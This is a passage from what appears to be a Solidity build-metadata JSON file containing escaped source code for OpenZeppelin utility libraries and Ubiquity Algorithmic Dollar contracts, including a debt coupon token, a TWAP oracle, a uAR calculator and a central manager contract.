Solidity's return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) { // Return data is optional\\n // solhint-disable-next-line max-line-length\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0x99f5c21018d796db7833a2100bb0e7411999e248a3c950fb526eee5d2bf47cb7\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n // solhint-disable-next-line no-inline-assembly\\n assembly { size := extcodesize(account) }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\\n (bool success, ) = recipient.call{ value: amount }(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain`call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x069b2631bb5b5193a58ccf7a06266c7361bd2c20095667af4402817605627f45\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/*\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0xf930d2df426bfcfc1f7415be724f04081c96f4fb9ec8d0e3a521c07692dface0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant alphabet = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = alphabet[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n\\n}\\n\",\"keccak256\":\"0x456e9b3a2bfe189b5249857f624f4139e59331db518483b456c4e587a20552e0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0x5718c5df9bd67ac68a796961df938821bb5dc0cd4c6118d77e9145afb187409b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0xa28007762d9da9db878dd421960c8cb9a10471f47ab5c1b3309bfe48e9e79ff4\",\"license\":\"MIT\"},\"contracts/DebtCoupon.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\\\";\\nimport \\\"solidity-linked-list/contracts/StructuredLinkedList.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\n\\n/// @title A coupon redeemable for dollars with an expiry block number\\n/// @notice An ERC1155 where the token ID is the expiry block number\\n/// @dev Implements ERC1155 so receiving contracts must implement IERC1155Receiver\\ncontract DebtCoupon is ERC1155 {\\n using StructuredLinkedList for StructuredLinkedList.List;\\n\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n //not public as if called externally can give inaccurate value. see method\\n uint256 private _totalOutstandingDebt;\\n\\n //represents tokenSupply of each expiry (since 1155 doesnt have this)\\n mapping(uint256 => uint256) private _tokenSupplies;\\n\\n //ordered list of coupon expiries\\n StructuredLinkedList.List private _sortedBlockNumbers;\\n\\n event MintedCoupons(address recipient, uint256 expiryBlock, uint256 amount);\\n\\n event BurnedCoupons(\\n address couponHolder,\\n uint256 expiryBlock,\\n uint256 amount\\n );\\n\\n modifier onlyCouponManager() {\\n require(\\n manager.hasRole(manager.COUPON_MANAGER_ROLE(), msg.sender),\\n \\\"Caller is not a coupon manager\\\"\\n );\\n _;\\n }\\n\\n //@dev URI param is if we want to add an off-chain meta data uri associated with this contract\\n constructor(address _manager) ERC1155(\\\"URI\\\") {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n _totalOutstandingDebt = 0;\\n }\\n\\n /// @notice Mint an amount of coupons expiring at a certain block for a certain recipient\\n /// @param amount amount of tokens to mint\\n /// @param expiryBlockNumber the expiration block number of the coupons to mint\\n function mintCoupons(\\n address recipient,\\n uint256 amount,\\n uint256 expiryBlockNumber\\n ) public onlyCouponManager {\\n _mint(recipient, expiryBlockNumber, amount, \\\"\\\");\\n emit MintedCoupons(recipient, expiryBlockNumber, amount);\\n\\n //insert new relevant block number if it doesnt exist in our list\\n // (linkedlist implementation wont insert if dupe)\\n _sortedBlockNumbers.pushBack(expiryBlockNumber);\\n\\n //update the total supply for that expiry and total outstanding debt\\n _tokenSupplies[expiryBlockNumber] =\\n _tokenSupplies[expiryBlockNumber] +\\n (amount);\\n _totalOutstandingDebt = _totalOutstandingDebt + (amount);\\n }\\n\\n /// @notice Burn an amount of coupons expiring at a certain block from\\n /// a certain holder's balance\\n /// @param couponOwner the owner of those coupons\\n /// @param amount amount of tokens to burn\\n /// @param expiryBlockNumber the expiration block number of the coupons to burn\\n function burnCoupons(\\n address couponOwner,\\n uint256 amount,\\n uint256 expiryBlockNumber\\n ) public onlyCouponManager {\\n require(\\n balanceOf(couponOwner, expiryBlockNumber) >= amount,\\n \\\"Coupon owner not enough coupons\\\"\\n );\\n _burn(couponOwner, expiryBlockNumber, amount);\\n emit BurnedCoupons(couponOwner, expiryBlockNumber, amount);\\n\\n //update the total supply for that expiry and total outstanding debt\\n _tokenSupplies[expiryBlockNumber] =\\n _tokenSupplies[expiryBlockNumber] -\\n (amount);\\n _totalOutstandingDebt = _totalOutstandingDebt - (amount);\\n }\\n\\n /// @notice Should be called prior to any state changing functions.\\n // Updates debt according to current block number\\n function updateTotalDebt() public {\\n bool reachedEndOfExpiredKeys = false;\\n uint256 currentBlockNumber = _sortedBlockNumbers.popFront();\\n\\n //if list is empty, currentBlockNumber will be 0\\n while (!reachedEndOfExpiredKeys && currentBlockNumber != 0) {\\n if (currentBlockNumber > block.number) {\\n //put the key back in since we popped, and end loop\\n _sortedBlockNumbers.pushFront(currentBlockNumber);\\n reachedEndOfExpiredKeys = true;\\n } else {\\n //update tally and remove key from blocks and map\\n _totalOutstandingDebt =\\n _totalOutstandingDebt -\\n (_tokenSupplies[currentBlockNumber]);\\n delete _tokenSupplies[currentBlockNumber];\\n _sortedBlockNumbers.remove(currentBlockNumber);\\n }\\n currentBlockNumber = _sortedBlockNumbers.popFront();\\n }\\n }\\n\\n /// @notice Returns outstanding debt by fetching current tally and removing any expired debt\\n function getTotalOutstandingDebt() public view returns (uint256) {\\n uint256 outstandingDebt = _totalOutstandingDebt;\\n bool reachedEndOfExpiredKeys = false;\\n (, uint256 currentBlockNumber) = _sortedBlockNumbers.getNextNode(0);\\n\\n while (!reachedEndOfExpiredKeys && currentBlockNumber != 0) {\\n if (currentBlockNumber > block.number) {\\n reachedEndOfExpiredKeys = true;\\n } else {\\n outstandingDebt =\\n outstandingDebt -\\n (_tokenSupplies[currentBlockNumber]);\\n }\\n (, currentBlockNumber) = _sortedBlockNumbers.getNextNode(\\n currentBlockNumber\\n );\\n }\\n\\n return outstandingDebt;\\n }\\n}\\n\",\"keccak256\":\"0xf26a64cbe54ced5ffe6052c0b2ee2505106a1ad28700d4831a16eb3627e8a051\",\"license\":\"MIT\"},\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (uint256[2] memory priceCumulative, uint256 blockTimestamp) =\\n _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances =\\n IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x24313b9e13825536130e9619cc0f3188e8ac3b1dd8199a1df5ea2d8ad0d28939\",\"license\":\"Apache-2.0\"},\"contracts/UARForDollarsCalculator.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"./interfaces/IUARForDollarsCalculator.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./libs/ABDKMathQuad.sol\\\";\\nimport \\\"./DebtCoupon.sol\\\";\\n\\n/// @title Uses the following formula: ((1/(1-R)^2) - 1)\\ncontract UARForDollarsCalculator is IUARForDollarsCalculator {\\n using ABDKMathQuad for uint256;\\n using ABDKMathQuad for bytes16;\\n UbiquityAlgorithmicDollarManager public manager;\\n uint256 private _coef = 1 ether;\\n\\n modifier onlyAdmin() {\\n require(\\n manager.hasRole(manager.INCENTIVE_MANAGER_ROLE(), msg.sender),\\n \\\"UARCalc: not admin\\\"\\n );\\n _;\\n }\\n\\n /// @param _manager the address of the manager/config contract so we can fetch variables\\n constructor(address _manager) {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n }\\n\\n /// @notice set the constant for uAR calculation\\n /// @param coef new constant for uAR calculation in ETH format\\n /// @dev a coef of 1 ether means 1\\n function setConstant(uint256 coef) external onlyAdmin {\\n _coef = coef;\\n }\\n\\n /// @notice get the constant for uAR calculation\\n function getConstant() external view returns (uint256) {\\n return _coef;\\n }\\n\\n // dollarsToBurn * (blockheight_debt/blockheight_burn) * _coef\\n function getUARAmount(uint256 dollarsToBurn, uint256 blockHeightDebt)\\n external\\n view\\n override\\n returns (uint256)\\n {\\n require(\\n DebtCoupon(manager.debtCouponAddress()).getTotalOutstandingDebt() <\\n IERC20(manager.dollarTokenAddress()).totalSupply(),\\n \\\"uAR to Dollar: DEBT_TOO_HIGH\\\"\\n );\\n bytes16 coef = _coef.fromUInt().div((uint256(1 ether)).fromUInt());\\n bytes16 curBlock = uint256(block.number).fromUInt();\\n bytes16 multiplier = blockHeightDebt.fromUInt().div(curBlock);\\n // x^a = e^(a*lnx(x)) so multiplier^(_coef) = e^(_coef*lnx(multiplier))\\n bytes16 op = (coef.mul(multiplier.ln())).exp();\\n uint256 res = dollarsToBurn.fromUInt().mul(op).toUInt();\\n return res;\\n }\\n}\\n\",\"keccak256\":\"0x19e76110d3b908ec6c64ee3d0ebb8e6d3b1437bdb00ddbaa754a0f815a5a7a97\",\"license\":\"MIT\"},\"contracts/UbiquityAlgorithmicDollarManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/access/AccessControl.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"./interfaces/IUbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./interfaces/ICurveFactory.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\nimport \\\"./TWAPOracle.sol\\\";\\n\\n/// @title A central config for the uAD system. Also acts as a central\\n/// access control manager.\\n/// @notice For storing constants. For storing variables and allowing them to\\n/// be changed by the admin (governance)\\n/// @dev This should be used as a central access control manager which other\\n/// contracts use to check permissions\\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\\n using SafeERC20 for IERC20;\\n\\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\\\"UBQ_MINTER_ROLE\\\");\\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\\\"UBQ_BURNER_ROLE\\\");\\n\\n bytes32 public constant PAUSER_ROLE = keccak256(\\\"PAUSER_ROLE\\\");\\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\\\"COUPON_MANAGER\\\");\\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\\\"BONDING_MANAGER\\\");\\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\\n keccak256(\\\"INCENTIVE_MANAGER\\\");\\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\\n keccak256(\\\"UBQ_TOKEN_MANAGER_ROLE\\\");\\n address public twapOracleAddress;\\n address public debtCouponAddress;\\n address public dollarTokenAddress; // uAD\\n address public couponCalculatorAddress;\\n address public dollarMintingCalculatorAddress;\\n address public bondingShareAddress;\\n address public bondingContractAddress;\\n address public stableSwapMetaPoolAddress;\\n address public curve3PoolTokenAddress; // 3CRV\\n address public treasuryAddress;\\n address public governanceTokenAddress; // uGOV\\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\\n address public masterChefAddress;\\n address public formulasAddress;\\n address public autoRedeemTokenAddress; // uAR\\n address public uarCalculatorAddress; // uAR calculator\\n\\n //key = address of couponmanager, value = excessdollardistributor\\n mapping(address => address) private _excessDollarDistributors;\\n\\n modifier onlyAdmin() {\\n require(\\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\\n \\\"uADMGR: Caller is not admin\\\"\\n );\\n _;\\n }\\n\\n constructor(address _admin) {\\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\\n _setupRole(UBQ_MINTER_ROLE, _admin);\\n _setupRole(PAUSER_ROLE, _admin);\\n _setupRole(COUPON_MANAGER_ROLE, _admin);\\n _setupRole(BONDING_MANAGER_ROLE, _admin);\\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\\n }\\n\\n // TODO Add a generic setter for extra addresses that needs to be linked\\n function setTwapOracleAddress(address _twapOracleAddress)\\n external\\n onlyAdmin\\n {\\n twapOracleAddress = _twapOracleAddress;\\n // to be removed\\n\\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\\n oracle.update();\\n }\\n\\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\\n autoRedeemTokenAddress = _uarTokenAddress;\\n }\\n\\n function setDebtCouponAddress(address _debtCouponAddress)\\n external\\n onlyAdmin\\n {\\n debtCouponAddress = _debtCouponAddress;\\n }\\n\\n function setIncentiveToUAD(address _account, address _incentiveAddress)\\n external\\n onlyAdmin\\n {\\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\\n _account,\\n _incentiveAddress\\n );\\n }\\n\\n function setDollarTokenAddress(address _dollarTokenAddress)\\n external\\n onlyAdmin\\n {\\n dollarTokenAddress = _dollarTokenAddress;\\n }\\n\\n function setGovernanceTokenAddress(address _governanceTokenAddress)\\n external\\n onlyAdmin\\n {\\n governanceTokenAddress = _governanceTokenAddress;\\n }\\n\\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\\n external\\n onlyAdmin\\n {\\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\\n }\\n\\n function setUARCalculatorAddress(address _uarCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n uarCalculatorAddress = _uarCalculatorAddress;\\n }\\n\\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n couponCalculatorAddress = _couponCalculatorAddress;\\n }\\n\\n function setDollarMintingCalculatorAddress(\\n address _dollarMintingCalculatorAddress\\n ) external onlyAdmin {\\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\\n }\\n\\n function setExcessDollarsDistributor(\\n address debtCouponManagerAddress,\\n address excessCouponDistributor\\n ) external onlyAdmin {\\n _excessDollarDistributors[\\n debtCouponManagerAddress\\n ] = excessCouponDistributor;\\n }\\n\\n function setMasterChefAddress(address _masterChefAddress)\\n external\\n onlyAdmin\\n {\\n masterChefAddress = _masterChefAddress;\\n }\\n\\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\\n formulasAddress = _formulasAddress;\\n }\\n\\n function setBondingShareAddress(address _bondingShareAddress)\\n external\\n onlyAdmin\\n {\\n bondingShareAddress = _bondingShareAddress;\\n }\\n\\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\\n external\\n onlyAdmin\\n {\\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\\n }\\n\\n /**\\n @notice set the bonding bontract smart contract address\\n @dev bonding contract participants deposit curve LP token\\n for a certain duration to earn uGOV and more curve LP token\\n @param _bondingContractAddress bonding contract address\\n */\\n function setBondingContractAddress(address _bondingContractAddress)\\n external\\n onlyAdmin\\n {\\n bondingContractAddress = _bondingContractAddress;\\n }\\n\\n /**\\n @notice set the treasury address\\n @dev the treasury fund is used to maintain the protocol\\n @param _treasuryAddress treasury fund address\\n */\\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\\n treasuryAddress = _treasuryAddress;\\n }\\n\\n /**\\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\\n @dev From the curve documentation for uncollateralized algorithmic\\n stablecoins amplification should be 5-10\\n @param _curveFactory MetaPool factory address\\n @param _crvBasePool Address of the base pool to use within the new metapool.\\n @param _crv3PoolTokenAddress curve 3Pool token Address\\n @param _amplificationCoefficient amplification coefficient. The smaller\\n it is the closer to a constant product we are.\\n @param _fee Trade fee, given as an integer with 1e10 precision.\\n */\\n function deployStableSwapPool(\\n address _curveFactory,\\n address _crvBasePool,\\n address _crv3PoolTokenAddress,\\n uint256 _amplificationCoefficient,\\n uint256 _fee\\n ) external onlyAdmin {\\n // Create new StableSwap meta pool (uAD <-> 3Crv)\\n address metaPool =\\n ICurveFactory(_curveFactory).deploy_metapool(\\n _crvBasePool,\\n ERC20(dollarTokenAddress).name(),\\n ERC20(dollarTokenAddress).symbol(),\\n dollarTokenAddress,\\n _amplificationCoefficient,\\n _fee\\n );\\n stableSwapMetaPoolAddress = metaPool;\\n\\n // Approve the newly-deployed meta pool to transfer this contract's funds\\n uint256 crv3PoolTokenAmount =\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this));\\n uint256 uADTokenAmount =\\n IERC20(dollarTokenAddress).balanceOf(address(this));\\n\\n // safe approve revert if approve from non-zero to non-zero allowance\\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\\n IERC20(_crv3PoolTokenAddress).safeApprove(\\n metaPool,\\n crv3PoolTokenAmount\\n 